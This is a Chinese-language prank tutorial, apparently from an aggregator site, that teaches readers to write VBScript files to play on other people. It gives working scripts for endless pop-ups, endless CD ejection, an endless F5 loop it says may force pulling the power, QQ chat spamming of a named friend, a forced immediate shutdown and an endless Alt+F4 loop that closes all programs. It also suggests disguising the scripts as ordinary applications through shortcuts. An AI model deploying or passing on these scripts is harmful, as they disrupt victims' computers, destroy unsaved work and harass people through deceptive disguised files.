編寫vbs有多簡單？新建“文本文檔”，輸入msgbox "一大波病毒正在靠近..." ，點擊文件->另存為->重命名為“代碼.vbs”。文件名不重要，重要的是後綴要是“.vbs”。

雙擊保存的文件：代碼.vbs，即彈出一個對話框。記下這段小小的代碼，去惡搞吧。你還可以輸入其他有趣的文字。

當然，如此惡搞還是不夠的。那就來一個無限循環吧，輸入圖中代碼另存為vbs格式。雙擊打開。此時，會彈出提示對話框，點擊确定和關閉按鈕之後，再一次彈出窗口，如此循環，無法正常關閉。

那麼到底要如何才能關閉呢？打開任務管理器結束進程“wscript.exe”即可

以上是一些比較簡單的代碼，下面就是稍微有些難度的：

無限彈出光驅：

set wmp=createobject("wmplayer.ocx")

set cd=wmp.cdromcollection.item(0)

do

cd.eject

loop

無限語音報數：

Set s = CreateObject("sapi.spvoice")

i=0

do

s.speak i

i=i 1

loop

無限刷新：

慎用，如此刷新打開任務管理器都難，隻能拔掉電源。

set ws=createobject("wscript.shell")

do

ws.sendkeys "{f5}"

loop

QQ信息騷擾：

打開好友的聊天對話框，然後記下聊天對話框的名稱（如圖：九悲），把下面代碼裡的小敏替換一下。代碼中的“20”代表發送次數，把10修改一下就可以自定義發送QQ信息到好友的次數。把發送的内容“複制”即可，當打開本vbs的時候就會把剪切闆裡的内容粘貼發送過去。

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 20

wscript.sleep 700

wsh.AppActivate("九悲")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

next

wscript.quit

直接關機：

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

不斷按下ALT F4：

關閉打開的所有程序

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

do

wscript.sleep 2500

WSHshell.SendKeys "%{F4}"

loop

這些代碼保存為vbs後還可以通過創建快捷方式僞裝成各種各樣的應用程序。

更多精彩资讯请关注tft每日頭條，我们将持续为您更新最新资讯!